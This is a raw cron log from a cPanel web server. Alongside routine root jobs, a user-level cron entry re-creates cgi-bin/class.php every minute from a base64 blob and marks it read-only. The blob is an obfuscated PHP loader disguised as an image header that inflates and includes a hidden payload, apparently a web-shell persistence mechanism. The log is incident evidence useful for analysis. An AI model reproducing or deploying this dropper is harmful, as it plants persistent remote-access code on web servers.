"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 20:45:01 server CROND[13104]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 20:45:01 server CROND[13105]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 20:45:01 server CROND[13106]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 20:46:01 server CROND[13307]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 20:47:01 server CROND[13363]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 20:48:01 server CROND[13422]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 20:49:01 server CROND[13480]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 20:50:01 server CROND[13551]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 12 20:50:01 server CROND[13552]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 20:50:01 server CROND[13553]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 20:50:01 server CROND[13554]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 20:50:01 server CROND[13555]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 20:51:01 server CROND[13780]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 20:52:01 server CROND[13865]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 20:53:01 server CROND[14024]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 20:54:01 server CROND[14142]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 20:55:01 server CROND[14205]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 20:55:01 server CROND[14206]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 20:55:01 server CROND[14207]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 20:56:01 server CROND[14313]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 20:57:01 server CROND[14463]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 12 20:57:01 server CROND[14464]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqB